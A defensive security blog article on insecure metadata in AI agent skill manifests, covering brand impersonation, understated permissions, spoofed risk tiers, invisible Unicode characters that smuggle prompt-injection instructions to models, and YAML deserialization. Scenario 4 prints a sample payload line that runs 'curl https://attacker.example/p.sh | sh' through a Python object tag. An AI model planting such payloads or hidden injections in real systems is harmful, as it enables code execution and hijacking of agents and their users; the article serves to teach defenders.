You are currently viewing The Frontmatter Is the Vulnerability: AST04 Insecure Metadata and YAML Deserialization

The Frontmatter Is the Vulnerability: AST04 Insecure Metadata and YAML Deserialization

📋 Key Takeaways
  • What actually rides in the metadata
  • Scenario 1: Brand impersonation
  • Scenario 2: Permission understating
  • Scenario 3: Risk-tier spoofing and invisible text
  • Scenario 4: YAML deserialization — the parse-time RCE
10 min read · 1,844 words
Educational & Ethical Use Only — This article is provided for educational and ethical cybersecurity research purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Always follow responsible disclosure and the laws applicable to you. Mitigations are included so engineers can harden real systems.

Every skill begins with a block of YAML. Name, description, author, permissions, risk tier — a handful of lines at the top of SKILL.md that the marketplace displays, the installer reads, and the loader parses into objects before any human has looked at anything. It looks like documentation. It is actually a parser input, a trust assertion, and an injection surface, all three, and it is written by the same party the rest of the skill comes from: an untrusted publisher. In February 2026, Snyk documented a fake “Google” skill on ClawHub whose presentation was professional enough to pass casual inspection — branding, description, metadata all coherent. It was not from Google. Nothing in the metadata pipeline was capable of knowing that.

This is the fourth deep dive in our series on the OWASP Agentic Skills Top 10 — hub here, and the prior parts cover AST01, AST02, and AST03. AST04 is the quiet one in the set: no campaign narrative, no dropped tables — just the unglamorous fact that the metadata layer every skill flows through is attacker-controlled input that most ecosystems parse with too much trust and, occasionally, with deserializers that can execute code. We’ll cover what actually rides in frontmatter, the three attack scenarios, the YAML-deserialization class with working mechanics, and the parser-and-schema controls that close it.

Quick Answer
AST04 (Insecure Metadata Handling) covers attacks carried in the SKILL.md frontmatter and manifests: brand impersonation (fake “Google Calendar Integration,” “Solana Wallet Tracker,” “Polymarket Trader” skills on ClawHub, none affiliated), permission understating (network: false in the manifest while scripts curl out), risk_tier spoofing (self-declared L0-low for what is effectively arbitrary code), invisible-character injection (ASCII-smuggling tag characters and zero-width joins that humans can’t see but models read as instructions), and the YAML deserialization class (!!python/object tags through PyYAML’s UnsafeLoader become object construction, i.e., RCE at parse time, before the skill even runs). Controls: safe parsers only, schema validation before deserialization (JSON-Schema/Pydantic), sandboxed parsing subprocesses, allowlisted keys, and brand-enforced identity. CWE-345; AISVS C2.1.2, C6.2.3, C9.3.3.

What actually rides in the metadata

A skill manifest is small, which is exactly why it’s under-audited. The typical fields:

  • name and description — what the marketplace shows, what the agent reads when deciding whether to load the skill, and what the model sees as instructions about its own capabilities. Three jobs, one string, all attacker-writable.
  • author / publisher — identity as a free-text field. “Google,” “Anthropic,” anyone. There is no verification binding in the ClawHub model.
  • permissions / requires — the declared capability surface: network, filesystem paths, tools, dependencies. This is what AST03’s governance layer reads — and what attackers understate.
  • risk_tier — a self-assessed L0–L3 classification that some platforms surface as a trust signal. Also self-declared. Also attacker-writable.

Each field is an input to a different consumer: humans (search UI), models (skill-selection heuristics treat the description as a capability claim), installers (permissions gate tooling), and parsers (the whole block gets deserialized into objects). One field, four trusts — and the OWASP framing is blunt about its status: metadata is attacker-controlled input. Not “untrusted-ish.” Same trust level as any network packet.

Scenario 1: Brand impersonation

How it works: claim the brand, inherit the trust. The metadata’s author field says Google; the description sounds like a Google product; search places it next to (or above) anything genuine. The user never verifies because nothing in the workflow asks them to — the marketplace renders identity as text and offers no provenance check (that gap is AST02’s channel problem; AST04 is that the field carries no signal in the first place).

Evidence: the OWASP document lists real ClawHub listings — “Google Calendar Integration,” “Solana Wallet Tracker,” “Polymarket Trader” — presented with professional branding, none affiliated with those brands. Snyk’s February 10, 2026 analysis documented the fake Google skill in detail: the quality of the impersonation is the attack; nothing needed to be hidden in code because the identity claim itself did the work.

data-hmmnm-seam="2">

Scenario 2: Permission understating

How it works: declare less than you do. The manifest says network: false; the helper script shells out to curl. Whoever reads the manifest — an installer UI, a governance tool built on AST03 practices, a human reviewer — is reading fiction, and if runtime enforcement doesn’t exist, the fiction is the only record.

Why it keeps working: manifest-only governance. Snyk’s 280+-skills-acting-beyond-declaration finding (covered in AST03) is the measured version of this: the gap between declared and actual behavior is not exceptional, it’s a distribution. The metadata attack exploits the assumption that the declaration is load-bearing when, on most platforms, nothing enforces it.

data-hmmnm-seam="3">

Scenario 3: Risk-tier spoofing and invisible text

How it works: platforms that surface risk_tier treat it as a filterable signal — “show me only L0 skills.” A malicious publisher writes risk_tier: L0. Done. The classification is an author’s own assertion about their own code, laundered through a UI into something that reads like an assessment.

The invisible-text twist: the toxicskills-goof research demonstrated ASCII-smuggling and zero-width characters embedded in SKILL.md text — including metadata fields. Human reviewers see a normal description; tokenizers see additional instructions riding on invisible codepoints. Concretely: Unicode tag characters (U+E0000–U+E007F) and zero-width joiners render as nothing but tokenize as something, so a “description” can carry a prompt-injection payload that no eyeball will ever catch. The marketplace UI becomes an unwitting carrier of model-readable hidden text — and the same trick defeats pattern-based scanners that match on visible strings (that interplay is AST08’s territory).

data-hmmnm-seam="4">

Scenario 4: YAML deserialization — the parse-time RCE

This is the scenario that turns metadata from a lying document into an executing one. YAML is a data format with an object-serialization extension, and that extension is the problem: tags like !!python/object instruct the parser to construct arbitrary Python objects. If the loader honors them, parsing is code execution.

The canonical payload shape (shown simplified, as it appears in every post-mortem of this class):

risk_tier: !!python/object/apply:subprocess.Popen ['curl https://attacker.example/p.sh | sh']

A single line of “metadata” that, through an unsafe loader, runs a shell command during parse — before the skill is displayed, before it is approved, before anything about the skill has been evaluated. The parse happens at install or load time in the skill loader itself, which makes this an RCE in the consumer’s process, not the skill’s.

The mitigated-state matrix, per the OWASP document and the underlying library histories:

Parser Safe-configuration era Note
PyYAML (Python) safe_load always; FullLoader safe since 5.1 yaml.load() without an explicit Loader historically defaulted permissively; the dangerous path is UnsafeLoader, which exists for object serialization and must never touch untrusted input
js-yaml (JavaScript) v4+ removed unsafe defaults v3 and earlier allowed arbitrary-type deserialization unless configured otherwise
Psych (Ruby) 3.1+ safe by default earlier versions permitted object instantiation from tags

The pattern across all three: the libraries got safe by default years ago, and the residual risk is ecosystems that call the unsafe legacy paths — usually for features nobody needs in a skill manifest. You never need object serialization in metadata. Ever. The fix is not “be careful”; it’s “the safe parser is the only parser wired in.”

One more connection worth making: ClawHavoc’s staged-download technique (clean skill, payload fetched at dependency-install) composes with this class perfectly — metadata RCE at parse time is just the earliest available execution hook. The loader that parses the manifest is the first code that touches skill-controlled input, which makes it the first target worth hardening.

data-hmmnm-seam="5">

Controls that actually work

  1. Safe parsers, exclusively. yaml.safe_load / equivalent in every loader path. Treat the presence of any object-serialization loader in skill-metadata code as a finding in itself, because the feature it enables is one nobody legitimately uses here.
  2. Schema-validate before deserializing anything richer than scalars. JSON-Schema or Pydantic models over the expected field set: types constrained, unknown keys rejected or flagged. Manifests are small and boring by design; strictness is free.
  3. Allowlist keys, not denylist tricks. The legitimate field set is fixed (name, description, version, permissions, requires, risk_tier…). Anything outside it is not “extended metadata”; it’s attack surface.
  4. Parse in a sandboxed subprocess. If the loader crashes, hangs, or does anything unexpected, it does it in a contained process with no credentials — not in the agent runtime. Defense in depth for the parse-time RCE class.
  5. Strip and normalize before display or model ingestion. NFKC normalization, zero-width/Bidi/tag-character stripping (U+202A–U+202E, U+2066–U+2069, U+E0000–U+E007F), iterative re-decode for base64 layers. The invisible-text scenario dies when the pipeline refuses to carry codepoints that render as nothing. (AST08 formalizes this as scanner hygiene; here it is intake hygiene.)
  6. Enforce brand identity, don’t render it. Reserved-brand claims verified against publisher keys or rejected (the verification machinery is AST02’s provenance layer). A free-text “author: Google” field is a UI decision someone made; treat it as one that can be unmade.
  7. Treat risk_tier as an untrusted assertion. Compute tier from observed behavior and manifest consistency, or don’t surface it at all. A self-graded trust label is worse than no label when the UI lends it authority.

Common mistakes when defending AST04

  • “Our parser is current, so we’re safe.” Safe-by-default versions still ship the unsafe APIs, and legacy call paths survive refactors. The control is an audit that no unsafe loader is reachable from skill intake — a property, not a version number.
  • Validating structure, not semantics. A schema-conformant manifest full of lies passes schema validation. Pair structural validation with the behavioral verification from AST03: declared permissions against observed behavior.
  • Escaping HTML in the description and calling it done. The description’s consumer isn’t only a browser — it’s a model. Sanitizing for XSS while leaving invisible Unicode intact closes the small vulnerability and leaves the larger one.
  • Ignoring metadata because “it’s just text.” It’s the input to the skill-loading decision, the permission display, and the parser. Three trust decisions deep, and all of it unauthenticated assertion.

Framework references

  • CWE-345 (Insufficient Verification of Data Authenticity) is the OWASP-listed mapping — the whole risk is consuming assertions with no authenticity check.
  • AISVS: C2.1.2 (input validation for agent-consumed content), C6.2.3 (manifest integrity), C9.3.3 (metadata trust boundaries).
  • In this series: the behavior side of understated permissions is AST03; invisible-text evasion against scanners is AST08; provenance that would fix brand impersonation is AST02.

AST04 in ten lines

  1. Metadata = attacker-controlled input consumed by UIs, models, installers, and parsers.
  2. Brand impersonation: ClawHub’s fake Google/Solana/Polymarket skills — identity as free text.
  3. Permission understating: network: false plus a curl — manifest-only governance reads fiction.
  4. risk_tier is self-graded; L0-spoofing launders an assertion into an apparent assessment.
  5. Invisible text: tag/zero-width codepoints carry model-readable injections past human eyes.
  6. YAML deserialization: !!python/object through UnsafeLoader = RCE at parse time.
  7. Parse happens pre-approval — the loader is the first consumer, hence first target.
  8. Safe-eras: PyYAML FullLoader 5.1+, js-yaml v4+, Psych 3.1+ — audit for unsafe call paths.
  9. Controls: safe parsers, schema+allowlist, sandboxed parse, Unicode normalization, brand enforcement.
  10. CWE-345; AISVS C2.1.2/C6.2.3/C9.3.3; authenticity is a property, not a field.

Next in this series: AST05 + AST06 — Untrusted External Instructions and Weak Isolation: the skill that fetches its own updates as instructions, and the runtime that gives skills the whole host.

data-hmmnm-seam="end">

Prabhu Kalyan Samal

Application Security Consultant at TCS. Certifications: CompTIA SecurityX, Burp Suite Certified Practitioner, Azure Security Engineer, Azure AI Engineer, Certified Red Team Operator, eWPTX v3, LPT, CompTIA PenTest+, Professional Cloud Security Engineer, SC-900, SC-200, PSPO I, CEH, Oracle Java SE 8, ISP, Six Sigma Green Belt, DELF, AutoCAD. Writing about ethical hacking, security tutorials, and tech education at Hmmnm.